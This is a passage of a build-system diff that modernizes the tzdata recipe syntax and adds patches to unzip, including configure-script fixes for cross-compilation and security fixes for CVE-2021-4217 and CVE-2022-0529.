- rm -f "${etc_lt}"
+ echo "Updating $etc_lt with $D${datadir}/zoneinfo/$tz"
+ if [ -L "$etc_lt" ]; then
+ rm -f "$etc_lt"
fi
- ln -s "${datadir}/zoneinfo/${tz}" "${etc_lt}"
+ ln -s "${datadir}/zoneinfo/$tz" "$etc_lt"
fi
}
-# Packages primarily organized by directory with a major city
-# in most time zones in the base package
-
+# Packages are primarily organized by directory with a major city in most time
+# zones in the base package
TZ_PACKAGES = " \
tzdata-core tzdata-misc tzdata-posix tzdata-right tzdata-africa \
tzdata-americas tzdata-antarctica tzdata-arctic tzdata-asia \
- tzdata-atlantic tzdata-australia tzdata-europe tzdata-pacific"
+ tzdata-atlantic tzdata-australia tzdata-europe tzdata-pacific \
+"
PACKAGES = "${TZ_PACKAGES} ${PN}"
-FILES_tzdata-africa += "${datadir}/zoneinfo/Africa/*"
-RPROVIDES_tzdata-africa = "tzdata-africa"
-
-FILES_tzdata-americas += "${datadir}/zoneinfo/America/* \
- ${datadir}/zoneinfo/US/* \
- ${datadir}/zoneinfo/Brazil/* \
- ${datadir}/zoneinfo/Canada/* \
- ${datadir}/zoneinfo/Mexico/* \
- ${datadir}/zoneinfo/Chile/*"
-RPROVIDES_tzdata-americas = "tzdata-americas"
-
-FILES_tzdata-antarctica += "${datadir}/zoneinfo/Antarctica/*"
-RPROVIDES_tzdata-antarctica = "tzdata-antarctica"
-
-FILES_tzdata-arctic += "${datadir}/zoneinfo/Arctic/*"
-RPROVIDES_tzdata-arctic = "tzdata-arctic"
-
-FILES_tzdata-asia += "${datadir}/zoneinfo/Asia/* \
- ${datadir}/zoneinfo/Indian/* \
- ${datadir}/zoneinfo/Mideast/*"
-RPROVIDES_tzdata-asia = "tzdata-asia"
-
-FILES_tzdata-atlantic += "${datadir}/zoneinfo/Atlantic/*"
-RPROVIDES_tzdata-atlantic = "tzdata-atlantic"
-
-FILES_tzdata-australia += "${datadir}/zoneinfo/Australia/*"
-RPROVIDES_tzdata-australia = "tzdata-australia"
-
-FILES_tzdata-europe += "${datadir}/zoneinfo/Europe/*"
-RPROVIDES_tzdata-europe = "tzdata-europe"
-
-FILES_tzdata-pacific += "${datadir}/zoneinfo/Pacific/*"
-RPROVIDES_tzdata-pacific = "tzdata-pacific"
-
-FILES_tzdata-posix += "${datadir}/zoneinfo/posix/*"
-RPROVIDES_tzdata-posix = "tzdata-posix"
-
-FILES_tzdata-right += "${datadir}/zoneinfo/right/*"
-RPROVIDES_tzdata-right = "tzdata-right"
-
-FILES_tzdata-misc += "${datadir}/zoneinfo/Cuba \
- ${datadir}/zoneinfo/Egypt \
- ${datadir}/zoneinfo/Eire \
- ${datadir}/zoneinfo/Factory \
- ${datadir}/zoneinfo/GB-Eire \
- ${datadir}/zoneinfo/Hongkong \
- ${datadir}/zoneinfo/Iceland \
- ${datadir}/zoneinfo/Iran \
- ${datadir}/zoneinfo/Israel \
- ${datadir}/zoneinfo/Jamaica \
- ${datadir}/zoneinfo/Japan \
- ${datadir}/zoneinfo/Kwajalein \
- ${datadir}/zoneinfo/Libya \
- ${datadir}/zoneinfo/Navajo \
- ${datadir}/zoneinfo/Poland \
- ${datadir}/zoneinfo/Portugal \
- ${datadir}/zoneinfo/Singapore \
- ${datadir}/zoneinfo/Turkey"
-RPROVIDES_tzdata-misc = "tzdata-misc"
-
-FILES_tzdata-core += " \
- ${sysconfdir}/localtime \
- ${sysconfdir}/timezone \
- ${datadir}/zoneinfo/Pacific/Honolulu \
- ${datadir}/zoneinfo/America/Anchorage \
- ${datadir}/zoneinfo/America/Los_Angeles \
- ${datadir}/zoneinfo/America/Denver \
- ${datadir}/zoneinfo/America/Chicago \
- ${datadir}/zoneinfo/America/New_York \
- ${datadir}/zoneinfo/America/Caracas \
- ${datadir}/zoneinfo/America/Sao_Paulo \
- ${datadir}/zoneinfo/Europe/London \
- ${datadir}/zoneinfo/Europe/Paris \
- ${datadir}/zoneinfo/Africa/Cairo \
- ${datadir}/zoneinfo/Europe/Moscow \
- ${datadir}/zoneinfo/Asia/Dubai \
- ${datadir}/zoneinfo/Asia/Karachi \
- ${datadir}/zoneinfo/Asia/Dhaka \
- ${datadir}/zoneinfo/Asia/Bangkok \
- ${datadir}/zoneinfo/Asia/Hong_Kong \
- ${datadir}/zoneinfo/Asia/Tokyo \
- ${datadir}/zoneinfo/Australia/Darwin \
- ${datadir}/zoneinfo/Australia/Adelaide \
- ${datadir}/zoneinfo/Australia/Brisbane \
- ${datadir}/zoneinfo/Australia/Sydney \
- ${datadir}/zoneinfo/Pacific/Noumea \
- ${datadir}/zoneinfo/CET \
- ${datadir}/zoneinfo/CST6CDT \
- ${datadir}/zoneinfo/EET \
- ${datadir}/zoneinfo/EST \
- ${datadir}/zoneinfo/EST5EDT \
- ${datadir}/zoneinfo/GB \
- ${datadir}/zoneinfo/GMT \
- ${datadir}/zoneinfo/GMT+0 \
- ${datadir}/zoneinfo/GMT-0 \
- ${datadir}/zoneinfo/GMT0 \
- ${datadir}/zoneinfo/Greenwich \
- ${datadir}/zoneinfo/HST \
- ${datadir}/zoneinfo/MET \
- ${datadir}/zoneinfo/MST \
- ${datadir}/zoneinfo/MST7MDT \
- ${datadir}/zoneinfo/NZ \
- ${datadir}/zoneinfo/NZ-CHAT \
- ${datadir}/zoneinfo/PRC \
- ${datadir}/zoneinfo/PST8PDT \
- ${datadir}/zoneinfo/ROC \
- ${datadir}/zoneinfo/ROK \
- ${datadir}/zoneinfo/UCT \
- ${datadir}/zoneinfo/UTC \
- ${datadir}/zoneinfo/Universal \
- ${datadir}/zoneinfo/W-SU \
- ${datadir}/zoneinfo/WET \
- ${datadir}/zoneinfo/Zulu \
- ${datadir}/zoneinfo/zone.tab \
- ${datadir}/zoneinfo/zone1970.tab \
- ${datadir}/zoneinfo/iso3166.tab \
- ${datadir}/zoneinfo/Etc/*"
-
-CONFFILES_tzdata-core = "${sysconfdir}/localtime ${sysconfdir}/timezone"
-
-ALLOW_EMPTY_${PN} = "1"
-RDEPENDS_${PN} = "${TZ_PACKAGES}"
+FILES:tzdata-africa += "${datadir}/zoneinfo/Africa"
+
+FILES:tzdata-americas += " \
+ ${datadir}/zoneinfo/America \
+ ${datadir}/zoneinfo/US \
+ ${datadir}/zoneinfo/Brazil \
+ ${datadir}/zoneinfo/Canada \
+ ${datadir}/zoneinfo/Mexico \
+ ${datadir}/zoneinfo/Chile \
+"
+
+FILES:tzdata-antarctica += "${datadir}/zoneinfo/Antarctica"
+
+FILES:tzdata-arctic += "${datadir}/zoneinfo/Arctic"
+
+FILES:tzdata-asia += " \
+ ${datadir}/zoneinfo/Asia \
+ ${datadir}/zoneinfo/Indian \
+ ${datadir}/zoneinfo/Mideast \
+"
+
+FILES:tzdata-atlantic += "${datadir}/zoneinfo/Atlantic"
+
+FILES:tzdata-australia += "${datadir}/zoneinfo/Australia"
+
+FILES:tzdata-europe += "${datadir}/zoneinfo/Europe"
+
+FILES:tzdata-pacific += "${datadir}/zoneinfo/Pacific"
+
+FILES:tzdata-posix += "${datadir}/zoneinfo/posix"
+
+FILES:tzdata-right += "${datadir}/zoneinfo/right"
+
+FILES:tzdata-misc += " \
+ ${datadir}/zoneinfo/Cuba \
+ ${datadir}/zoneinfo/Egypt \
+ ${datadir}/zoneinfo/Eire \
+ ${datadir}/zoneinfo/Factory \
+ ${datadir}/zoneinfo/GB-Eire \
+ ${datadir}/zoneinfo/Hongkong \
+ ${datadir}/zoneinfo/Iceland \
+ ${datadir}/zoneinfo/Iran \
+ ${datadir}/zoneinfo/Israel \
+ ${datadir}/zoneinfo/Jamaica \
+ ${datadir}/zoneinfo/Japan \
+ ${datadir}/zoneinfo/Kwajalein \
+ ${datadir}/zoneinfo/Libya \
+ ${datadir}/zoneinfo/Navajo \
+ ${datadir}/zoneinfo/Poland \
+ ${datadir}/zoneinfo/Portugal \
+ ${datadir}/zoneinfo/Singapore \
+ ${datadir}/zoneinfo/Turkey \
+"
+
+FILES:tzdata-core += " \
+ ${sysconfdir}/localtime \
+ ${sysconfdir}/timezone \
+ ${datadir}/zoneinfo/leapseconds \
+ ${datadir}/zoneinfo/leap-seconds.list \
+ ${datadir}/zoneinfo/Pacific/Honolulu \
+ ${datadir}/zoneinfo/America/Anchorage \
+ ${datadir}/zoneinfo/America/Los_Angeles \
+ ${datadir}/zoneinfo/America/Denver \
+ ${datadir}/zoneinfo/America/Chicago \
+ ${datadir}/zoneinfo/America/New_York \
+ ${datadir}/zoneinfo/America/Caracas \
+ ${datadir}/zoneinfo/America/Sao_Paulo \
+ ${datadir}/zoneinfo/Europe/London \
+ ${datadir}/zoneinfo/Europe/Paris \
+ ${datadir}/zoneinfo/Africa/Cairo \
+ ${datadir}/zoneinfo/Europe/Moscow \
+ ${datadir}/zoneinfo/Asia/Dubai \
+ ${datadir}/zoneinfo/Asia/Karachi \
+ ${datadir}/zoneinfo/Asia/Dhaka \
+ ${datadir}/zoneinfo/Asia/Bangkok \
+ ${datadir}/zoneinfo/Asia/Hong_Kong \
+ ${datadir}/zoneinfo/Asia/Tokyo \
+ ${datadir}/zoneinfo/Australia/Darwin \
+ ${datadir}/zoneinfo/Australia/Adelaide \
+ ${datadir}/zoneinfo/Australia/Brisbane \
+ ${datadir}/zoneinfo/Australia/Sydney \
+ ${datadir}/zoneinfo/Pacific/Noumea \
+ ${datadir}/zoneinfo/CET \
+ ${datadir}/zoneinfo/CST6CDT \
+ ${datadir}/zoneinfo/EET \
+ ${datadir}/zoneinfo/EST \
+ ${datadir}/zoneinfo/EST5EDT \
+ ${datadir}/zoneinfo/GB \
+ ${datadir}/zoneinfo/GMT \
+ ${datadir}/zoneinfo/GMT+0 \
+ ${datadir}/zoneinfo/GMT-0 \
+ ${datadir}/zoneinfo/GMT0 \
+ ${datadir}/zoneinfo/Greenwich \
+ ${datadir}/zoneinfo/HST \
+ ${datadir}/zoneinfo/MET \
+ ${datadir}/zoneinfo/MST \
+ ${datadir}/zoneinfo/MST7MDT \
+ ${datadir}/zoneinfo/NZ \
+ ${datadir}/zoneinfo/NZ-CHAT \
+ ${datadir}/zoneinfo/PRC \
+ ${datadir}/zoneinfo/PST8PDT \
+ ${datadir}/zoneinfo/ROC \
+ ${datadir}/zoneinfo/ROK \
+ ${datadir}/zoneinfo/UCT \
+ ${datadir}/zoneinfo/UTC \
+ ${datadir}/zoneinfo/Universal \
+ ${datadir}/zoneinfo/W-SU \
+ ${datadir}/zoneinfo/WET \
+ ${datadir}/zoneinfo/Zulu \
+ ${datadir}/zoneinfo/zone.tab \
+ ${datadir}/zoneinfo/zone1970.tab \
+ ${datadir}/zoneinfo/iso3166.tab \
+ ${datadir}/zoneinfo/Etc \
+"
+
+CONFFILES:tzdata-core = "${sysconfdir}/localtime ${sysconfdir}/timezone"
+
+ALLOW_EMPTY:${PN} = "1"
+
+RDEPENDS:${PN} = "${TZ_PACKAGES}"
diff --git a/meta/recipes-extended/unzip/unzip/0001-configure-Add-correct-system-headers-and-prototypes-.patch b/meta/recipes-extended/unzip/unzip/0001-configure-Add-correct-system-headers-and-prototypes-.patch
new file mode 100644
index 0000000000..f7e0854cd9
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/0001-configure-Add-correct-system-headers-and-prototypes-.patch
@@ -0,0 +1,112 @@
+From 5ac5885d35257888d0e4a9dda903405314f9fc84 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 10 Aug 2022 17:53:13 -0700
+Subject: [PATCH] configure: Add correct system headers and prototypes to tests
+
+Newer compilers e.g. clang-15+ have turned stricter towards these
+warnings and turned them into errors which results in subtle failures
+during build, therefore make the testcases use the needed headers and
+modern C
+
+Upstream-Status: Inactive-Upstream
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ unix/configure | 51 +++++++++++++++++++++++++++++++++++++++-----------
+ 1 file changed, 40 insertions(+), 11 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index 49579f3..8fd82dd 100755
+--- a/unix/configure
++++ b/unix/configure
+@@ -379,14 +379,37 @@ $CC $CFLAGS -c conftest.c >/dev/null 2>/dev/null
+
+ # Check for missing functions
+ # add NO_'function_name' to flags if missing
+-for func in fchmod fchown lchown nl_langinfo
+-do
+- echo Check for $func
+- echo "int main(){ $func(); return 0; }" > conftest.c
+- $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+- [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_`echo $func | tr '[a-z]' '[A-Z]'`"
+-done
++echo Check for fchmod
++cat > conftest.c << _EOF_
++#include <sys/stat.h>
++int main(){ fchmod(0,0); return 0; }
++_EOF_
++$CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_FCHMOD"
+
++echo Check for fchown
++cat > conftest.c << _EOF_
++#include <unistd.h>
++int main(){ fchown(0,0,0); return 0; }
++_EOF_
++$CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_FCHOWN"
++
++echo Check for lchown
++cat > conftest.c << _EOF_
++#include <unistd.h>
++int main(){ lchown(NULL,0,0); return 0; }
++_EOF_
++$CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_LCHOWN"
++
++echo Check for nl_langinfo
++cat > conftest.c << _EOF_
++#include <langinfo.h>
++int main(){ nl_langinfo(0); return 0; }
++_EOF_
++$CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_NL_LANGINFO"
+ # Check (seriously) for a working lchmod.
+ echo 'Check for lchmod'
+ temp_file="/tmp/unzip_test_$$"
+@@ -401,14 +424,17 @@ ln -s "${temp_link}" "${temp_file}" && \
+ rm -f "${temp_file}"
+
+ echo Check for memset
+-echo "int main(){ char k; memset(&k,0,0); return 0; }" > conftest.c
++cat > conftest.c << _EOF_
++#include <string.h>
++int main(){ char k; memset(&k,0,0); return 0; }
++_EOF_
+ $CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DZMEM"
+
+ echo Check for errno declaration
+ cat > conftest.c << _EOF_
+ #include <errno.h>
+-main()
++int main()
+ {
+ errno = 0;
+ return 0;
+@@ -419,6 +445,8 @@ $CC $CFLAGS -c conftest.c >/dev/null 2>/dev/null
+
+ echo Check for directory libraries
+ cat > conftest.c << _EOF_
++#include <sys/types.h>
++#include <dirent.h>
+ int main() { return closedir(opendir(".")); }
+ _EOF_
+
+@@ -523,10 +551,11 @@ fi
+ # needed for AIX (and others ?) when mmap is used
+ echo Check for valloc
+ cat > conftest.c << _EOF_
+-main()
++#include <stdlib.h>
++int main()
+ {
+ #ifdef MMAP
+- valloc();
++ valloc(0);
+ #endif
+ }
+ _EOF_
+--
+2.37.1
+
diff --git a/meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch b/meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch
new file mode 100644
index 0000000000..5a6d1946f6
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch
@@ -0,0 +1,137 @@
+From da29ba6a27d8e78562052c79061476848915eb2a Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 9 Mar 2022 12:13:28 -0800
+Subject: [PATCH] configure: Pass LDFLAGS to tests doing link step
+
+Ensures that right flags from recipes are honored, otherwise tests fail
+which otherwise should not.
+
+Upstream-Status: Inactive-Upstream
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ unix/configure | 28 ++++++++++++++--------------
+ 1 file changed, 14 insertions(+), 14 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index d4b0a8e..49579f3 100755
+--- a/unix/configure
++++ b/unix/configure
+@@ -116,7 +116,7 @@ _EOF_
+ # Special Mac OS X shared library "ld" option?
+ if test ` uname -s 2> /dev/null ` = 'Darwin'; then
+ lf='-Wl,-search_paths_first'
+- $CC $CFLAGS $lf conftest.c > /dev/null 2>/dev/null
++ $CC $CFLAGS $LDFLAGS $lf conftest.c > /dev/null 2>/dev/null
+ if test $? -eq 0; then
+ BZLF=${lf}
+ fi
+@@ -276,7 +276,7 @@ int main()
+ }
+ _EOF_
+ # compile it
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+ echo -- no Large File Support
+ else
+@@ -322,7 +322,7 @@ int main()
+ }
+ _EOF_
+ # compile it
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+ echo "-- no Unicode (wchar_t) support"
+ else
+@@ -383,7 +383,7 @@ for func in fchmod fchown lchown nl_langinfo
+ do
+ echo Check for $func
+ echo "int main(){ $func(); return 0; }" > conftest.c
+- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
++ $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_`echo $func | tr '[a-z]' '[A-Z]'`"
+ done
+
+@@ -395,14 +395,14 @@ temp_link="link_$$"
+ echo "int main() { lchmod(\"${temp_file}\", 0666); }" \
+ ) > conftest.c
+ ln -s "${temp_link}" "${temp_file}" && \
+- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null && \
++ $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null && \
+ ./conftest
+ [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_LCHMOD"
+ rm -f "${temp_file}"
+
+ echo Check for memset
+ echo "int main(){ char k; memset(&k,0,0); return 0; }" > conftest.c
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DZMEM"
+
+ echo Check for errno declaration
+@@ -422,12 +422,12 @@ cat > conftest.c << _EOF_
+ int main() { return closedir(opendir(".")); }
+ _EOF_
+
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+ OPT=""
+ for lib in ndir dir ucb bsd BSD PW x dirent
+ do
+- $CC -o conftest conftest.c -l$lib >/dev/null 2>/dev/null
++ $CC $CLFAGS $LDFLAGS -o conftest conftest.c -l$lib >/dev/null 2>/dev/null
+ [ $? -eq 0 ] && OPT=-l$lib && break
+ done
+ if [ ${OPT} ]; then
+@@ -440,9 +440,9 @@ fi
+ # Dynix/ptx 1.3 needed this
+ echo Check for readlink
+ echo "int main(){ return readlink(); }" > conftest.c
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+- $CC -o conftest conftest.c -lseq >/dev/null 2>/dev/null
++ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lseq >/dev/null 2>/dev/null
+ [ $? -eq 0 ] && LFLAGS2="${LFLAGS2} -lseq"
+ fi
+
+@@ -501,7 +501,7 @@ int main()
+ }
+ _EOF_
+ # compile it
+-$CC ${CFLAGS} ${CFLAGSR} -o conftest conftest.c >/dev/null 2>/dev/null
++$CC ${CFLAGS} ${CFLAGSR} $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+ echo "-- no MBCS support"
+ CFLAGSR="${CFLAGSR} -DNO_MBCS"
+@@ -515,7 +515,7 @@ else
+ do
+ echo Check for MBCS $func
+ echo "int main() { $func(); return 0; }" > conftest.c
+- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
++ $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -eq 0 ] && CFLAGSR="${CFLAGSR} -D`echo $func | tr '[a-z]' '[A-Z]'`=$func"
+ done
+ fi
+@@ -557,7 +557,7 @@ elif [ -f /xenix ]; then
+ elif uname -X >/dev/null 2>/dev/null; then
+ # SCO shared library check
+ echo "int main() { return 0;}" > conftest.c
+- $CC -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null
++ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null
+ [ $? -eq 0 ] && LFLAGS2="-lc_s -nointl"
+ else
+ SYSTEM=`uname -s 2>/dev/null` || SYSTEM="unknown"
+@@ -565,7 +565,7 @@ else
+ case $SYSTEM in
+ OSF1|ULTRIX)
+ echo Check for -Olimit option
+- $CC ${CFLAGS} -Olimit 1000 -o conftest conftest.c >/dev/null 2>/dev/null
++ $CC ${CFLAGS} ${LDFLAGS} -Olimit 1000 -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -eq 0 ] && CFLAGSR="${CFLAGSR} -Olimit 1000"
+ ;;
+ ### HP-UX)
+--
+2.35.1
+
diff --git a/meta/recipes-extended/unzip/unzip/0001-unix-configure-fix-detection-for-cross-compilation.patch b/meta/recipes-extended/unzip/unzip/0001-unix-configure-fix-detection-for-cross-compilation.patch
new file mode 100644
index 0000000000..2fa7f481b7
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/0001-unix-configure-fix-detection-for-cross-compilation.patch
@@ -0,0 +1,103 @@
+From 5cbf901b5c3b6a7d1d0ed91b6df4194bb6d25a40 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Thu, 15 Jun 2023 07:14:17 -0700
+Subject: [PATCH] unix/configure: fix detection for cross compilation
+
+We're doing cross compilation, running a cross-compiled problem
+on host to detemine feature is not correct. So we change runtime
+check into compile-time check to detect the features.
+
+Upstream-Status: Inactive-Upstream
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ unix/configure | 44 +++++++++++++++-----------------------------
+ 1 file changed, 15 insertions(+), 29 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index 8fd82dd..68dee98 100755
+--- a/unix/configure
++++ b/unix/configure
+@@ -259,6 +259,10 @@ cat > conftest.c << _EOF_
+ #include <sys/stat.h>
+ #include <unistd.h>
+ #include <stdio.h>
++
++_Static_assert(sizeof(off_t) < 8, "sizeof off_t < 8 failed");
++_Static_assert(sizeof((struct stat){0}.st_size) < 8, "sizeof st_size < 8 failed");
++
+ int main()
+ {
+ off_t offset;
+@@ -278,21 +282,10 @@ _EOF_
+ # compile it
+ $CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+- echo -- no Large File Support
++ echo -- yes we have Large File Support!
++ CFLAGSR="${CFLAGSR} -DLARGE_FILE_SUPPORT"
+ else
+-# run it
+- ./conftest
+- r=$?
+- if [ $r -eq 1 ]; then
+- echo -- no Large File Support - no 64-bit off_t
+- elif [ $r -eq 2 ]; then
+- echo -- no Large File Support - no 64-bit stat
+- elif [ $r -eq 3 ]; then
+- echo -- yes we have Large File Support!
+- CFLAGSR="${CFLAGSR} -DLARGE_FILE_SUPPORT"
+- else
+- echo -- no Large File Support - conftest returned $r
+- fi
++ echo -- no Large File Support
+ fi
+
+ # Added 11/24/2005 EG
+@@ -302,6 +295,11 @@ cat > conftest.c << _EOF_
+ #include <stdlib.h>
+ #include <stdio.h>
+ #include <wchar.h>
++
++#ifndef __STDC_ISO_10646__
++#error "__STDC_ISO_10646__ not defined
++#endif
++
+ int main()
+ {
+ size_t wsize;
+@@ -327,19 +325,8 @@ if [ $? -ne 0 ]; then
+ echo "-- no Unicode (wchar_t) support"
+ else
+ # have wide char support
+-# run it
+- ./conftest
+- r=$?
+- if [ $r -eq 0 ]; then
+- echo -- no Unicode wchar_t support - wchar_t allocation error
+- elif [ $r -eq 1 ]; then
+- echo -- no Unicode support - wchar_t encoding unspecified
+- elif [ $r -eq 2 ]; then
+- echo -- have wchar_t with known UCS encoding - enabling Unicode support!
+- CFLAGSR="${CFLAGSR} -DUNICODE_SUPPORT -DUNICODE_WCHAR"
+- else
+- echo "-- no Unicode (wchar_t) support - conftest returned $r"
+- fi
++ echo -- have wchar_t with known UCS encoding - enabling Unicode support!
++ CFLAGSR="${CFLAGSR} -DUNICODE_SUPPORT -DUNICODE_WCHAR"
+ fi
+
+ echo "Check for setlocale support (needed for UNICODE Native check)"
+@@ -418,8 +405,7 @@ temp_link="link_$$"
+ echo "int main() { lchmod(\"${temp_file}\", 0666); }" \
+ ) > conftest.c
+ ln -s "${temp_link}" "${temp_file}" && \
+- $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null && \
+- ./conftest
++ $CC -Werror=implicit-function-declaration $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null
+ [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_LCHMOD"
+ rm -f "${temp_file}"
+
+--
+2.34.1
+
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2021-4217.patch b/meta/recipes-extended/unzip/unzip/CVE-2021-4217.patch
new file mode 100644
index 0000000000..c0103444fc
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/CVE-2021-4217.patch
@@ -0,0 +1,67 @@
+From 731d698377dbd1f5b1b90efeb8094602ed59fc40 Mon Sep 17 00:00:00 2001
+From: Nils Bars <nils.bars@t-online.de>
+Date: Mon, 17 Jan 2022 16:53:16 +0000
+Subject: [PATCH] Fix null pointer dereference and use of uninitialized data
+
+This fixes a bug that causes use of uninitialized heap data if `readbuf` fails
+to read as many bytes as indicated by the extra field length attribute.
+Furthermore, this fixes a null pointer dereference if an archive contains an
+`EF_UNIPATH` extra field but does not have a filename set.
+---
+ fileio.c | 5 ++++-
+ process.c | 6 +++++-
+ 2 files changed, 9 insertions(+), 2 deletions(-)
+---
+
+Patch from:
+https://bugs.launchpad.net/ubuntu/+source/unzip/+bug/1957077
+https://launchpadlibrarian.net/580782282/0001-Fix-null-pointer-dereference-and-use-of-uninitialized-data.patch
+Regenerated to apply without offsets.
+
+CVE: CVE-2021-4217
+
+Upstream-Status: Inactive-Upstream [infozip upstream inactive]
+
+Signed-off-by: Joe Slater <joe.slater@windriver.com>
+
+
+diff --git a/fileio.c b/fileio.c
+index 14460f3..1dc319e 100644
+--- a/fileio.c
++++ b/fileio.c
+@@ -2301,8 +2301,11 @@ int do_string(__G__ length, option) /* return PK-type error code */
+ seek_zipf(__G__ G.cur_zipfile_bufstart - G.extra_bytes +
+ (G.inptr-G.inbuf) + length);
+ } else {
+- if (readbuf(__G__ (char *)G.extra_field, length) == 0)
++ unsigned bytes_read = readbuf(__G__ (char *)G.extra_field, length);
++ if (bytes_read == 0)
+ return PK_EOF;
++ if (bytes_read != length)
++ return PK_ERR;
+ /* Looks like here is where extra fields are read */
+ if (getZip64Data(__G__ G.extra_field, length) != PK_COOL)
+ {
+diff --git a/process.c b/process.c
+index 5f8f6c6..de843a5 100644
+--- a/process.c
++++ b/process.c
+@@ -2058,10 +2058,14 @@ int getUnicodeData(__G__ ef_buf, ef_len)
+ G.unipath_checksum = makelong(offset + ef_buf);
+ offset += 4;
+
++ if (!G.filename_full) {
++ /* Check if we have a unicode extra section but no filename set */
++ return PK_ERR;
++ }
++
+ /*
+ * Compute 32-bit crc
+ */
+-
+ chksum = crc32(chksum, (uch *)(G.filename_full),
+ strlen(G.filename_full));
+
+--
+2.32.0
+
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2022-0529.patch b/meta/recipes-extended/unzip/unzip/CVE-2022-0529.patch
new file mode 100644
index 0000000000..1c1e120deb
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/CVE-2022-0529.patch
@@ -0,0 +1,39 @@
+https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1010355
+
+CVE: CVE-2022-0529
+Upstream-Status: Inactive-Upstream [need a new release]
+
+diff --git a/process.c b/process.c
+index d2a846e..99b9c7b 100644
+--- a/process.c
++++ b/process.c
+@@ -2507,13 +2507,15 @@ char *wide_to_local_string(wide_string, escape_all)
+ char buf[9];
+ char *buffer = NULL;
+ char *local_string = NULL;
++ size_t buffer_size;
+
+ for (wsize = 0; wide_string[wsize]; wsize++) ;
+
+ if (max_bytes < MAX_ESCAPE_BYTES)
+ max_bytes = MAX_ESCAPE_BYTES;
+
+- if ((buffer = (char *)malloc(wsize * max_bytes + 1)) == NULL) {
++ buffer_size = wsize * max_bytes + 1;
++ if ((buffer = (char *)malloc(buffer_size)) == NULL) {
+ return NULL;
+ }
+
+@@ -2552,7 +2554,11 @@ char *wide_to_local_string(wide_string, escape_all)
+ /* no MB for this wide */
+ /* use escape for wide character */
+ char *escape_string = wide_to_escape_string(wide_string[i]);
+- strcat(buffer, escape_string);
++ size_t buffer_len = strlen(buffer);
++ size_t escape_string_len = strlen(escape_string);
++ if (buffer_len + escape_string_len + 1 > buffer_size)
++ escape_string_len = buffer_size - buffer_len - 1;
++ strncat(buffer, escape_string, escape_string_len);
+ free(escape_string);
+ }
+ }
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2022-0530.patch b/meta/recipes-extended/unzip/unzip/CVE-2022-0530.patch
